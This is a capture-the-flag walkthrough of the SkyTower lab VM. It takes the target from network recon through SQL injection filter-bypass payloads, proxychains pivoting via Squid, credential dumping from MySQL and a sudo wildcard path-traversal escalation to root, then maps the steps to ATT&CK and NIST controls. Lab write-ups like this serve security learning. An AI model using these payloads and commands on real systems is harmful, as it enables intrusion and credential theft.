SkyTower Walkthrough
Lab network + IPs we used
- Target (SkyTower):
10.0.0.108
- Squid proxy (on SkyTower):
10.0.0.108:3128
- Target loopback we pivoted to:
127.0.0.1
(used for SSH and MySQL from the proxy’s POV) - Attacker box: Kali (your machine)
Step 1 — Find the VM’s IP (network recon)
Command
arp-scan --localnet
Syntax breakdown
-r 10.0.0.0/24
- arp-scan
The main program.
Sends ARP packets to discover active hosts in the network.
--localnet
A shortcut telling arp-scan to:
Automatically detect your network interface.
Determine your local subnet based on your IP and netmask.
Scan the entire subnet (e.g., 10.0.0.0/24)..
Output we used: SkyTower showed up at 10.0.0.108.
Found the target IP — this is the starting point for literally everything. Without an IP, we’d just be guessing. On CTF nets I used ARP-scan first cuz it’s quick and low-noise insted of netdiscover. Next we will port scan the host to figure out the attack surface. If the subnet was bigger or weirdly segmented, I’d do a routed sweep with nmap -sn
too.
MITRE (Remote System Discovery).
Step 2 — Port scan + service IDs
Command
nmap -p- -sC -sV -A
Syntax breakdown
-p-
scan all 65535 TCP ports.-sC
default NSE scripts.-sV
service version detection.-A
OS detect + traceroute + more scripts (aggressive).
What we saw: 80/tcp (Apache)
, 3128/tcp (Squid proxy)
open; 22/tcp (SSH)
filtered from the outside.
Seeing Squid on 3128 is the big clue, if SSH is filtered from the outside, we can probably pivot through Squid and hit SSH on the box’s loopback. This box is meant to be a web > proxy > internal service hop. Next we’ll poke the web login and try SQLi for creds. If the site was more complex I’d dirbust with Gobuster here too.
MITRE (Network Service Scanning).
Step 3 — Burp Suite: prove SQL injection + bypass
- Turn Intercept ON in Burp Proxy.
- Point browser at the site:
http://10.0.0.108/
(login form). - Submit a test login to capture the POST.
Test payloads in Burp Repeater
- Blocked:
' OR 1=1 --
,' OR 'a'='a
(app filters keywords likeOR
,--
,=
) - Worked:
' || 1=1#
(use two pipes instead of OR, and#
as comment)- Backup if filters strike once:
' OORR 1<2 #
(“OR” survives filter once;1<2
data-preserve-html-node="true" is true)
- Right‑click the value > URL‑encode key characters before sending.
- Use Search in response (
Ctrl+F
) for strings likeUsername
,Password
,ssh
.
Result: page dumped SSH creds for (john / hereisjohn).
The site was totally filter‑happy, so the classic OR
/--
combos died. Swapping to ||
and #
usually slides past weak filters, and the OORR/1<2
data-preserve-html-node="true" trick works when they strip a keyword once. Once the bypass hit, we got creds straight from the page. Next move is use those creds, but SSH is filtered from outside, so we’ll ride the Squid proxy.
Step 4 — Configure ProxyChains
Edit config
sudo nano /etc/proxychains4.conf
Changes
- Prefer this mode:
- Uncomment:
dynamic_chain
- Comment:
strict_chain
- Comment out Tor default:
# socks4 127.0.0.1 9050
- Uncomment:
- Add Squid:
http 10.0.0.108 3128
proxychains nmap -sT -p 22 127.0.0.1
Syntax breakdown
-sT
full TCP connect (works fine through proxies).- Target
127.0.0.1
loopback on the target host from Squid’s POV.
Expected: 22/tcp open ssh
(via the proxy). If you see …127.0.0.1:9050 - denied
, you left Tor in the chain!.
This is where I messed up the first time strict chains + Tor line means ProxyChains tries Tor even when it’s not up, and then everything “denied”. Dynamic chain + only the Squid line = clean path. Now that we can see SSH from the target’s localhost, we can try to actually log in as john
.
Step 5 — SSH as john
proxychains ssh john@127.0.0.1
# typed password, session closed with “Funds have been withdrawn”
whoami && id && hostname
The john
session looked hung at first, then insta‑logged out — turns out .bashrc
was booby‑trapped. Skipping rc files or removing the file on connect keeps us in. From here I try to do just‑enough recon so I don’t break the thin shell.
Step 6 — Quick local recon as john
Commands
whoami; id
uname -a
cat /etc/issue 2>/dev/null || cat /etc/os-release 2>/dev/null
ls -la /home
- Debian 7 (Wheezy), kernel
3.2.0-4-amd64
(this is super old) - Users:
john
,sara
,william
(no read perms for the others)
Old Debian has tons of PE paths, but I like config/cred routes before compiling kernel exploits. Also clocked the other users. Super common for one of them to have sudo perms or a juicy file somewhere. Next move is the webroot because devs could hide secrets there.
Step 7 — Hunt creds for the creds
Commands
# look for anything that smells like passwords
find /var/www -type f \( -name "*.php" -o -name "*.conf" \) -exec grep -HniE 'pass|db|mysql' {} \; 2>/dev/null
# then open the likely files
sed -n '1,120p' /var/www/login.php 2>/dev/null | nl -ba
What we found
login.php
with MySQL creds:root:root
, DBSkyTech
.- Login logic uses raw POST vars in SQL (so yeah, injection was real).
Classic dev move the creds chilling in a PHP file. This gives us DB admin and a straight line to the users table. I tried to connect to MySQL from Kali through the proxy and got blocked (makes sense, Squid isn’t a TCP tunnel for 3306). So the trick is youn MySQL on the target via SSH.
Step 8 — DB dump (do it ON the target, not through the proxy)
What failed
proxychains mysql -u root -proot -h 127.0.0.1
# ... 127.0.0.1:3306 ← denied (Squid blocks arbitrary TCP like 3306)
Working (run mysql ON SkyTower via SSH)
# list DBs
proxychains ssh -tt john@127.0.0.1 "mysql -uroot -proot -e 'SHOW DATABASES;'"
# list tables + dump the creds
proxychains ssh -tt john@127.0.0.1 "mysql -uroot -proot -D SkyTech -e 'SHOW TABLES; SELECT * FROM login;'"
Trying to shove MySQL through an HTTP proxy was a facepalm — Squid only connects to a small set of ports. Kicking the command off on the target gets around that policy and thjis lets us yank the users table cleanly. With Sara’s creds in hand, we can pivot accounts and hope for better perms.
Step 9 — SSH as sara
(handle the same trap)
# try normal first
proxychains ssh sara@127.0.0.1
# if it insta-logs out, remove the trap and relogin
proxychains ssh -tt sara@127.0.0.1 "rm -f ~/.bashrc; exec bash -i"
whoami && id
*Moving laterally with valid creds is super realistic credential reuse is everywhere. Sara’s shell had the same logout trick, so we yanked .bashrc
again and got stable. Now it’s sudo time.
Step 10 — Sudo misconfig → read root’s files
Check sudo
sudo -l
output
(root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
Exploit the wildcard with path traversal
sudo /bin/ls /accounts/../root
sudo /bin/cat /accounts/../root/flag.txt
The Result!: root flag reveals the root password (e.g., theskytower
).
This is the sneaky bit — *
only intended the /accounts
dir, but ../
climbs to parent and we point it at /root
. Since sudo didn’t restrict paths properly, we basically had read‑as‑root anywhere. That’s CWE‑22 (path traversal) meets sloppy sudoers. With the root password in hand, we’re done.
Step 11 — Become root
*ommand
proxychains ssh root@127.0.0.1
# enter the password from the flag (e.g., theskytower)
whoami && id && hostname
cat /root/flag.txt
Root shell, flag popped, box cleared. The cool part with this VM is the multi‑hop from web> proxy> internal service, and then abusing super realistic misconfigs (hardcoded creds, sudo wildcard). If this was prod, I’d be writing a pretty loud report about input validation, credential storage, proxy ACLs, and sudo rules. On to the next one.
Troubleshooting log (things that broke with the fixes)
- Bad IP in proxychains: typed
10.0.0.708
(invalid). > Use the correct10.0.0.108
. - **ProxyChains kept saying **``: Tor line was still active. → Switch to
dynamic_chain
and comment outsocks4 127.0.0.1 9050
. - SSH looked “stuck” after password: it was waiting or auto‑logging out via
.bashrc
. Usebash --noprofile --norc
, or remove.bashrc
on connect withssh -tt "rm -f ~/.bashrc; exec bash -i"
. - MySQL via proxy was denied: Squid blocks arbitrary TCP like 3306. Run
mysql
on the target viassh -tt john@127.0.0.1 "mysql …"
. - SQLi payloads kept failing: app filtered
OR
,--
,=
. > Use||
and#
, or OORR/1<2
data-preserve-html-node="true" trick; URL‑encode in Burp.
Compliance & ATT&CK summary
- ATT&CK:
T1190
(SQLi),T1090
(Proxy),T1078
(Valid Accounts),T1552.003
(Creds in files),T1548.003
(Sudo),T1005
(Local data). - NIST 800‑53:
SI‑10
(Input Validation),AC‑6
(Least Privilege),SC‑7
(Boundary Protection),CM‑6
(Secure Configs). - ISO 27001:
A.14.2.5
(Secure engineering),A.9.4.1
(Access restrictions),A.13.1.1
(Network controls),A.12.6.1
(Vuln mgmt).